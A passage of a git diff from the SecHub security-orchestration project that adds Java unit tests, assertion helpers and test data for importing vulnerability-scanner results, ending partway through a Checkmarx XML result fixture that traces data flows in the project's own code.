Exceptions", v109.getType()); + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/ImportSupportTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/ImportSupportTest.java new file mode 100644 index 0000000000..73084b1c39 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/ImportSupportTest.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import static org.junit.Assert.*; + +import org.junit.Test; + +import com.daimler.sechub.sereco.ImportParameter; + +public class ImportSupportTest { + + /** + * This test is import for failure handling. When a product is not + * reachable its result will be an empty string, which shall lead + * to a critical finding about product problems. + */ + @Test + public void an_empty_product_result_can_never_be_imported() { + /* @formatter:off */ + ImportParameter importParameter = ImportParameter.builder(). + importId("id1"). + importData(""). + productId("productId"). + build(); + /* @formatter:on */ + assertEquals(ProductImportAbility.PRODUCT_FAILED, ImportSupport.builder().build().isAbleToImport(importParameter)); + } + + @Test + public void a_null_product_result_can_never_be_imported() { + /* @formatter:off */ + ImportParameter importParameter = ImportParameter.builder(). + importId("id1"). + importData(null). + productId("productId"). + build(); + /* @formatter:on */ + assertEquals(ProductImportAbility.PRODUCT_FAILED,ImportSupport.builder().build().isAbleToImport(importParameter)); + } + + @Test + public void isXMLWorksForSimpleString() { + assertTrue(ImportSupport.builder().build().isXML(" vulnerabilities = result.getVulnerabilities(); + + /* test */ + assertEquals(4,vulnerabilities.size()); + + } + + @Test + public void testfile1_contains_ApacheVersionDisclosure_and_ApacheOutOfDate_in_imported_metadata() throws Exception{ + /* prepare */ + String json = support.loadTestFile(SerecoTestFileSupport.NETSPARKER_RESULT_XML_TESTFILE1); + + /* execute */ + MetaData result = importerToTest.importResult(json); + List vulnerabilities = result.getVulnerabilities(); + + /* test */ + /* @formatter:off */ + assertVulnerabilities(vulnerabilities). + vulnerability(). + withSeverity(Severity.LOW). + withURL("https://fscan.intranet.example.org/"). + withType("ApacheVersionDisclosure"). + classifiedBy(). + wasc("45"). + cwe("205"). + capec("170"). + hipaa("164.306(a), 164.308(a)"). + and(). + withDescriptionContaining("

    Netsparker Cloud identified a version disclosure (Apache) in the target"). + isContained(). + vulnerability(). + withSeverity(Severity.MEDIUM). + withURL("https://fscan.intranet.example.org/"). + withType("ApacheOutOfDate"). + classifiedBy(). + owasp("A9"). + capec("310"). + pci31("6.2"). + pci32("6.2"). + owaspProactiveControls("C1"). + and(). + isContained(); + /* @formatter:on */ + + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/ProductFailureMetaDataBuilderTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/ProductFailureMetaDataBuilderTest.java new file mode 100644 index 0000000000..1c6ac02ddb --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/ProductFailureMetaDataBuilderTest.java @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import static org.junit.Assert.*; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sereco.ImportParameter; +import com.daimler.sechub.sereco.metadata.MetaData; +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; + +public class ProductFailureMetaDataBuilderTest { + + private ProductFailureMetaDataBuilder builderToTest; + + + @Before + public void before() throws Exception { + builderToTest = new ProductFailureMetaDataBuilder(); + } + + + @Test + public void creates_a_meta_model_with_product_information() { + /* prepare */ + ImportParameter param = ImportParameter.builder().importId("id1").productId("productId").build(); + + /* execute*/ + MetaData result = builderToTest.forParam(param).build(); + + /* test*/ + assertNotNull(result); + List vulnerabilities = result.getVulnerabilities(); + assertNotNull(vulnerabilities); + assertEquals(1,vulnerabilities.size()); + Vulnerability v = vulnerabilities.iterator().next(); + + assertEquals(Severity.CRITICAL, v.getSeverity()); + assertEquals("SecHub failure", v.getType()); + assertEquals("Security product 'productId' failed, so cannot give a correct answer.", v.getDescription()); + } + + @Test + public void creates_a_meta_model_with_product_information_nothing_set_will_at_least_work() { + /* prepare */ + ImportParameter param = ImportParameter.builder().build(); + + /* execute*/ + MetaData result = builderToTest.forParam(param).build(); + + /* test*/ + assertNotNull(result); + List vulnerabilities = result.getVulnerabilities(); + assertNotNull(vulnerabilities); + assertEquals(1,vulnerabilities.size()); + Vulnerability v = vulnerabilities.iterator().next(); + + assertEquals(Severity.CRITICAL, v.getSeverity()); + assertEquals("SecHub failure", v.getType()); + assertEquals("Security product 'null' failed, so cannot give a correct answer.", v.getDescription()); + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/metadata/MetaDataAccess.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/metadata/MetaDataAccess.java new file mode 100644 index 0000000000..28af193ef5 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/metadata/MetaDataAccess.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.metadata; + +import java.util.List; + +public class MetaDataAccess { + + public static void setClassification(Vulnerability search, Classification classification) { + search.classification=classification; + } + + public static Vulnerability createVulnerability(String url, String type, Severity severity, List list, String description, + Classification classification) { + return new Vulnerability(url, type, severity, list, description, classification); + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/metadata/SeverityTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/metadata/SeverityTest.java new file mode 100644 index 0000000000..7467d85b44 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/metadata/SeverityTest.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.metadata; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class SeverityTest { + + @Test + public void value_null_is_null() { + assertNull(Severity.fromString(null)); + } + + @Test + public void value_unknown_value12345_is_null() { + assertNull(Severity.fromString("unknown_value12345")); + } + + @Test + public void value_as_uppercase_is_returned_as_severity() { + for (Severity severity : Severity.values()) { + String name = severity.name(); + + assertEquals(severity, Severity.fromString(name.toUpperCase())); + } + } + + @Test + public void value_as_lowercase_is_returned_as_severity() { + for (Severity severity : Severity.values()) { + String name = severity.name(); + + assertEquals(severity, Severity.fromString(name.toLowerCase())); + } + } + + @Test + public void value_as_firstUpperCasedThanLowerCase_is_returned_as_severity() { + for (Severity severity : Severity.values()) { + String name = severity.name(); + String lowerCase = name.toLowerCase(); + String upperCase = name.toUpperCase(); + String firstUpperCasedThanLowerCase = upperCase.substring(0, 1) + lowerCase.substring(1); + + assertEquals(severity, Severity.fromString(firstUpperCasedThanLowerCase)); + + } + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilities.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilities.java new file mode 100644 index 0000000000..70a6a8219f --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilities.java @@ -0,0 +1,232 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +import static org.junit.Assert.*; + +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.sereco.metadata.Classification; +import com.daimler.sechub.sereco.metadata.Detection; +import com.daimler.sechub.sereco.metadata.MetaDataAccess; +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; + +public class AssertVulnerabilities { + private List vulnerabilities = new ArrayList<>(); + + AssertVulnerabilities(List list) { + this.vulnerabilities.addAll(list); + } + + public static AssertVulnerabilities assertVulnerabilities(List list) { + return new AssertVulnerabilities(list); + } + + public VulnerabilityFinder vulnerability() { + return new VulnerabilityFinder(); + } + + public class VulnerabilityFinder { + + private Vulnerability search; + + private VulnerabilityFinder() { + /* we use null values for search to search only for wanted parts...,+ some defaults (empty list) and empty description */ + String url = null; + String type = null; + Severity severity = null; + List list = new ArrayList<>(); + String description = ""; + Classification classification = null; + + search = MetaDataAccess.createVulnerability(url, type, severity, list, description, classification); + ; + } + + private List find(StringBuilder metaInfo) { + List list = find(metaInfo, false); + if (list.isEmpty()) { + find(metaInfo, true); + } + return list; + } + + private boolean isEitherNullInSearchOrEqual(Object search, Object data) { + if (search == null) { + return true; + } + return TestUtils.equals(search, data); + } + + private boolean isEitherNullInSearchOrContains(String string, String partWhichShallBeContained) { + if (search == null) { + return true; + } + return TestUtils.contains(string, partWhichShallBeContained); + } + + private List find(StringBuilder message, boolean findClosest) { + List matching = new ArrayList<>(); + SearchTracer trace = new SearchTracer(); + for (Vulnerability v : AssertVulnerabilities.this.vulnerabilities) { + + boolean contained = isEitherNullInSearchOrEqual(search.getSeverity(), v.getSeverity()) && trace.done(v, "severity"); + contained = contained && isEitherNullInSearchOrEqual(search.getUrl(), v.getUrl()) && trace.done(v, "url"); + contained = contained && isEitherNullInSearchOrEqual(search.getType(), v.getType()) && trace.done(v, "type"); + contained = contained && isEitherNullInSearchOrContains(v.getDescription(), search.getDescription()) && trace.done(v, "description"); + contained = contained && isEitherNullInSearchOrEqual(search.getClassification(), v.getClassification()) && trace.done(v, "classification"); + if (contained) { + matching.add(v); + } + } + if (findClosest) { + message.append("Closest vulnerability was:\n" + trace.getClosest() + "\nThere was last ok:" + trace.getClosestLastCheck()); + } + return matching; + } + + private class SearchTracer { + + private int count = 0; + private Vulnerability closest; + private Vulnerability last; + private int closestCount = 0; + private String closestLastCheck; + + boolean done(Vulnerability v, String description) { + if (last != v) { + count = 0; + } + last = v; + count++; + if (count > closestCount) { + closestCount = count; + closest = v; + closestLastCheck = description; + } + return true; + } + + public Vulnerability getClosest() { + return closest; + } + + public String getClosestLastCheck() { + return closestLastCheck; + } + + } + + public VulnerabilityFinder withSeverity(Severity severity) { + search.setSeverity(severity); + return this; + } + + public VulnerabilityFinder withURL(String url) { + search.setUrl(url); + return this; + } + + public VulnerabilityFinder withType(String type) { + search.setType(type); + return this; + } + + public VulnerabilityFinder withDescriptionContaining(String descriptionPart) { + search.setDescription(descriptionPart); + return this; + } + + public AssertClassification classifiedBy() { + return new AssertClassification(); + } + + public AssertVulnerabilities isNotContained() { + return isContained(0); + } + + public AssertVulnerabilities isContained() { + return isContained(1); + } + + private AssertVulnerabilities isContained(int expectedAmount) { + StringBuilder message = new StringBuilder(); + List matches = find(message); + if (matches.size() == expectedAmount) { + return AssertVulnerabilities.this; + } + StringBuilder sb = new StringBuilder(); + for (Vulnerability v : vulnerabilities) { + sb.append(v.toString()); + sb.append("\n"); + } + assertEquals("Not found expected amount of vulnerabilities for given search.\nSearched for:\n" + search + " \n" + message.toString() + "\n", + expectedAmount, matches.size()); + throw new IllegalStateException("Test must fail before by assertEquals!"); + } + + public class AssertClassification { + + private Classification classification; + + private AssertClassification() { + classification = new Classification(); + MetaDataAccess.setClassification(VulnerabilityFinder.this.search, classification); + } + + public AssertClassification hipaa(String hipaa) { + classification.setHipaa(hipaa); + return this; + } + + public AssertClassification owaspProactiveControls(String owaspProactiveControls) { + classification.setOwaspProactiveControls(owaspProactiveControls); + return this; + } + + public AssertClassification pci31(String pci31) { + classification.setPci31(pci31); + return this; + } + + public AssertClassification pci32(String pci32) { + classification.setPci32(pci32); + return this; + } + + public AssertClassification cwe(String cwe) { + classification.setCwe(cwe); + return this; + } + + public AssertClassification capec(String capec) { + classification.setCapec(capec); + return this; + } + + public AssertClassification owasp(String owasp) { + classification.setOwasp(owasp); + return this; + } + + public AssertClassification wasc(String wasc) { + classification.setWasc(wasc); + return this; + } + + public VulnerabilityFinder and() { + return VulnerabilityFinder.this; + } + + } + + } + + public AssertVulnerabilities hasVulnerabilities(int expectedAmount) { + assertEquals("Amount of vulnerabilities differs", expectedAmount, vulnerabilities.size()); + return this; + + } + +} \ No newline at end of file diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilitiesParamTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilitiesParamTest.java new file mode 100644 index 0000000000..40a6127715 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilitiesParamTest.java @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +import static com.daimler.sechub.sereco.test.VulnerabilityTestDataKey.*; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; +import org.junit.runners.Parameterized.Parameter; +import org.junit.runners.Parameterized.Parameters; + +import com.daimler.sechub.sereco.metadata.Classification; +import com.daimler.sechub.sereco.metadata.Vulnerability; +import com.daimler.sechub.sereco.test.AssertVulnerabilities.VulnerabilityFinder; + +@RunWith(Parameterized.class) +public class AssertVulnerabilitiesParamTest { + + public static VulnerabilityMutableTestData testData() { + return new VulnerabilityMutableTestData(); + } + + + @Parameters(name="parmeter test {index}:{0}") + public static Collection data() { + List list = new ArrayList<>(); + list.add(new Object[]{testData()}); + for (VulnerabilityTestDataKey key: values()) { + list.add(new Object[]{testData().touch(key)}); + } + return list; + } + + @Parameter + public VulnerabilityMutableTestData data; + + @Test + public void healthCheck_full_setup_is_found() { + /* prepare - vulnerability data */ + Vulnerability v = new Vulnerability(); + v.setDescription(data.get(DESCRIPTION)); + v.setSeverity(data.getSeverity()); + v.setType(data.get(TYPE)); + v.setUrl(data.get(URL)); + Classification classification = v.getClassification(); + classification.setOwasp(data.get(OWASP)); + classification.setCapec(data.get(CAPEC)); + classification.setCwe(data.get(CWE)); + classification.setOwaspProactiveControls(data.get(OWASPPROACTIVE)); + classification.setHipaa(data.get(HIPAA)); + classification.setPci31(data.get(PCI31)); + classification.setPci32(data.get(PCI32)); + + /* test - former build data is found (or not) by assert framework */ + /* @formatter:off */ + VulnerabilityFinder finderSays = AssertVulnerabilities.assertVulnerabilities(Collections.singletonList(v)). + vulnerability(). + withSeverity(data.getSeverity()). + withType(data.get(TYPE)). + withURL(data.get(URL)). + withDescriptionContaining(data.getShrinked(DESCRIPTION)). + classifiedBy(). + owasp(data.get(OWASP)). + cwe(data.get(CWE)). + capec(data.get(CAPEC)). + owaspProactiveControls(data.get(OWASPPROACTIVE)). + hipaa(data.get(HIPAA)). + pci31(data.get(PCI31)). + pci32(data.get(PCI32)). + and(); + + if (data.hasTouchedFields()) { + finderSays.isNotContained(); /* when changed this must not be found!*/ + }else { + finderSays.isContained(); + } + /* @formatter:on */ + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilitiesTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilitiesTest.java new file mode 100644 index 0000000000..7a970c28ff --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertVulnerabilitiesTest.java @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +import java.util.Collections; + +import org.junit.Test; + +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; + +public class AssertVulnerabilitiesTest { + + @Test + public void healthCheck_a_vulnerability_can_be_found_by_one_part_only() { + /* prepare */ + Vulnerability v = new Vulnerability(); + v.getClassification().setOwasp("owasp1"); + v.setSeverity(Severity.HIGH); + /* test */ + /* @formatter:off */ + AssertVulnerabilities.assertVulnerabilities(Collections.singletonList(v)). + vulnerability(). + classifiedBy(). + owasp("owasp1"). + and(). + isContained(); + /* @formatter:on */ + } + + @Test + public void healthCheck_empty_strings_but_only_owasp1_set_as_classification_is_contained() { + /* prepare */ + Vulnerability v = new Vulnerability(); + v.getClassification().setOwasp("owasp1"); + /* test */ + /* @formatter:off */ + AssertVulnerabilities.assertVulnerabilities(Collections.singletonList(v)). + vulnerability(). + classifiedBy(). + owasp("owasp1"). + and(). + isContained(); + /* @formatter:on */ + } + + @Test + public void healthCheck_empty_strings_but_only_owasp1_set_but_owasp2_as_classification_is_NOT_contained() { + /* prepare */ + Vulnerability v = new Vulnerability(); + v.getClassification().setOwasp("owasp2"); + /* test */ + /* @formatter:off */ + AssertVulnerabilities.assertVulnerabilities(Collections.singletonList(v)). + vulnerability(). + classifiedBy(). + owasp("owasp1"). + and(). + isNotContained(); + /* @formatter:on */ + } +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertWorkspace.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertWorkspace.java new file mode 100644 index 0000000000..a5dc0a1c93 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/AssertWorkspace.java @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +import static org.junit.Assert.*; + +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.sereco.Workspace; +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; + +public class AssertWorkspace { + + public static AssertWorkspace assertWorkspace(Workspace workspace) { + return new AssertWorkspace(workspace); + } + + private Workspace workspace; + + public AssertWorkspace(Workspace workspace) { + this.workspace=workspace; + } + + public WorkspaceAssertVulnerabilities hasVulnerabilitiesWith(Severity serverity) { + return this.hasVulnerabilitiesWith(serverity,-1); + } + + public WorkspaceAssertVulnerabilities hasVulnerabilitiesWith(Severity severity, int expectedAmount) { + List list = new ArrayList<>(); + for (Vulnerability v : workspace.getVulnerabilties()) { + if (severity.equals(v.getSeverity())){ + list.add(v); + } + } + if (expectedAmount!=-1) { + assertEquals("Did not expected amount of vulnerabilities having severity "+severity, expectedAmount, list.size()); + } + return new WorkspaceAssertVulnerabilities(list); + } + + public class WorkspaceAssertVulnerabilities extends AssertVulnerabilities{ + + WorkspaceAssertVulnerabilities(List list) { + super(list); + } + + public AssertWorkspace and() { + return AssertWorkspace.this; + } + + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/SerecoTestFileSupport.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/SerecoTestFileSupport.java new file mode 100644 index 0000000000..8a071665b0 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/SerecoTestFileSupport.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +import com.daimler.sechub.test.TestFileSupport; + +public class SerecoTestFileSupport extends TestFileSupport{ + + public static final String NETSPARKER_RESULT_XML_TESTFILE1= "netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml"; + public static final String NETSPARKER_RESULT_JSON_TESTFILE1= "netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json"; + + public static final SerecoTestFileSupport INSTANCE = new SerecoTestFileSupport(); + + protected SerecoTestFileSupport() { + super("sechub-sereco/src/test/resources"); + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/TestUtils.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/TestUtils.java new file mode 100644 index 0000000000..7f91faca21 --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/TestUtils.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +public class TestUtils { + + public static boolean equals(Object object1, Object object2) { + if (object1==null && object2==null) { + return true; + } + if (object1==null || object2==null) { + return false; + } + + return object1.equals(object2); + } + + public static boolean contains(String string, String partWhichShallBeContained) { + if (equals(string,partWhichShallBeContained)) { + return true; + } + if (string==null || partWhichShallBeContained==null) { + return false; + } + return string.contains(partWhichShallBeContained); + } +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/VulnerabilityMutableTestData.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/VulnerabilityMutableTestData.java new file mode 100644 index 0000000000..2c199f6dec --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/VulnerabilityMutableTestData.java @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.sereco.metadata.Severity; + +/** + * This test data class has getter methods and a change method. By calling + * change methods with keys the getters will always return same value for unchanged fields. + * For changed fields always different values as to former call will be returned + * @author Albert Tregnaghi + * + */ +public class VulnerabilityMutableTestData{ + + private List touchedFields = new ArrayList<>(); + private Severity lastChangedSeverity=Severity.HIGH; + + public Severity getSeverity() { + if (touchedFields.contains(VulnerabilityTestDataKey.SEVERITY)) { + int index = lastChangedSeverity.ordinal(); + index++; + if (index>=Severity.values().length) { + index=0; + } + lastChangedSeverity=Severity.values()[index]; + /* mus change on every call*/ + return lastChangedSeverity; + } + return Severity.HIGH; + } + + public String get(VulnerabilityTestDataKey field) { + if (isTouched(field)) { + return field.name()+System.nanoTime(); + } + return field.name(); + } + + private boolean isTouched(VulnerabilityTestDataKey field) { + return touchedFields.contains(field); + } + /** + * Change the field, so every get field call will result in a new value! + * @param field + * @return + */ + public VulnerabilityMutableTestData touch(VulnerabilityTestDataKey field) { + touchedFields.add(field); + return this; + } + + public boolean hasTouchedFields() { + return ! touchedFields.isEmpty(); + } + + public String getShrinked(VulnerabilityTestDataKey key) { + String origin = get(key); + if (origin.length()>4) { + return origin.substring(3); + } + return origin; + } + + @Override + public String toString() { + return "VulnerabilityTestData [touched="+hasTouchedFields()+", touched=" + touchedFields + "]"; + } + + +} \ No newline at end of file diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/VulnerabilityTestDataKey.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/VulnerabilityTestDataKey.java new file mode 100644 index 0000000000..2d7b73f5ac --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/test/VulnerabilityTestDataKey.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.test; + +enum VulnerabilityTestDataKey{ + CAPEC, + + URL, + + CWE, + + HIPAA, + + PCI31, + + PCI32, + + TYPE, + + DESCRIPTION, + + OWASP, + + OWASPPROACTIVE, + + SEVERITY, + ; + + +} \ No newline at end of file diff --git a/sechub-sereco/src/test/resources/checkmarx/sechub-continous-integration-with-false-positive.xml b/sechub-sereco/src/test/resources/checkmarx/sechub-continous-integration-with-false-positive.xml new file mode 100644 index 0000000000..b07a970308 --- /dev/null +++ b/sechub-sereco/src/test/resources/checkmarx/sechub-continous-integration-with-false-positive.xml @@ -0,0 +1,17922 @@ + + + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 29 + 1 + readLine + + 1 + + + 117 + while ((line=br.readLine())!=null) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 32 + 2 + != + + 2 + + + 117 + while ((line=br.readLine())!=null) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 16 + 3 + line + + 4 + + + 118 + sb.append(line); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 15 + 4 + append + + 1 + + + 118 + sb.append(line); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 119 + 6 + 5 + sb + + 2 + + + 119 + sb.append("\n"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 17 + 6 + sb + + 2 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 28 + 7 + toString + + 1 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 5 + 8 + embeddedCSS + + 11 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 128 + 10 + 9 + embeddedCSS + + 11 + + + 128 + return embeddedCSS; + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 42 + 10 + getEmbeddedCSS + + 1 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 12 + 11 + put + + 1 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 4 + 12 + model + + 5 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 13 + 13 + put + + 1 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 102 + 3 + 14 + model + + 5 + + + 102 + model.put("info", scanResult.getInfo()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 104 + 10 + 15 + model + + 5 + + + 104 + return model; + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 53 + 16 + build + + 1 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 23 + 17 + model + + 5 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 70 + 53 + 18 + model + + 5 + + + 70 + return new ModelAndView("report/html/scanresult", model); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 70 + 10 + 19 + ModelAndView + + 3 + + + 70 + return new ModelAndView("report/html/scanresult", model); + + + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 86 + 37 + 1 + fileName + + 8 + + + 86 + @PathVariable("fileName") String fileName) throws IOException { + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 49 + 2 + fileName + + 8 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 139 + 39 + 3 + fileName + + 8 + + + 139 + public String getAbsolutePath(String fileName) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 24 + 4 + fileName + + 8 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 82 + 36 + 5 + fileName + + 8 + + + 82 + private Path getPathToFile(String fileName) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 28 + 6 + fileName + + 8 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 27 + 7 + resolve + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 8 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 40 + 9 + toFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 58 + 10 + getAbsolutePath + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 48 + 11 + getAbsolutePath + + 1 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 10 + 12 + absolutePath + + 12 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 24 + 13 + absolutePath + + 12 + + + 92 + File file = new File(absolutePath); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 15 + 14 + File + + 3 + + + 92 + File file = new File(absolutePath); + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 85 + 84 + 1 + projectId + + 9 + + + 85 + public ResponseEntity<Resource> getUploadedFile(@PathVariable("projectId") String projectId, @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 87 + 53 + 2 + projectId + + 9 + + + 87 + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 44 + 3 + projectId + + 9 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 42 + 4 + projectId + + 9 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 46 + 5 + projectId + + 9 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 40 + 18 + 6 + projectId + + 9 + + + 40 + this.projectId=projectId; + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 40 + 7 + 7 + projectId + + 1 + + + 40 + this.projectId=projectId; + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 87 + 52 + 8 + getJobStorage + + 1 + + + 87 + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 87 + 14 + 9 + storage + + 7 + + + 87 + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 88 + 8 + 10 + storage + + 7 + + + 88 + if (!storage.isExisting(fileName)) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 135 + 23 + 11 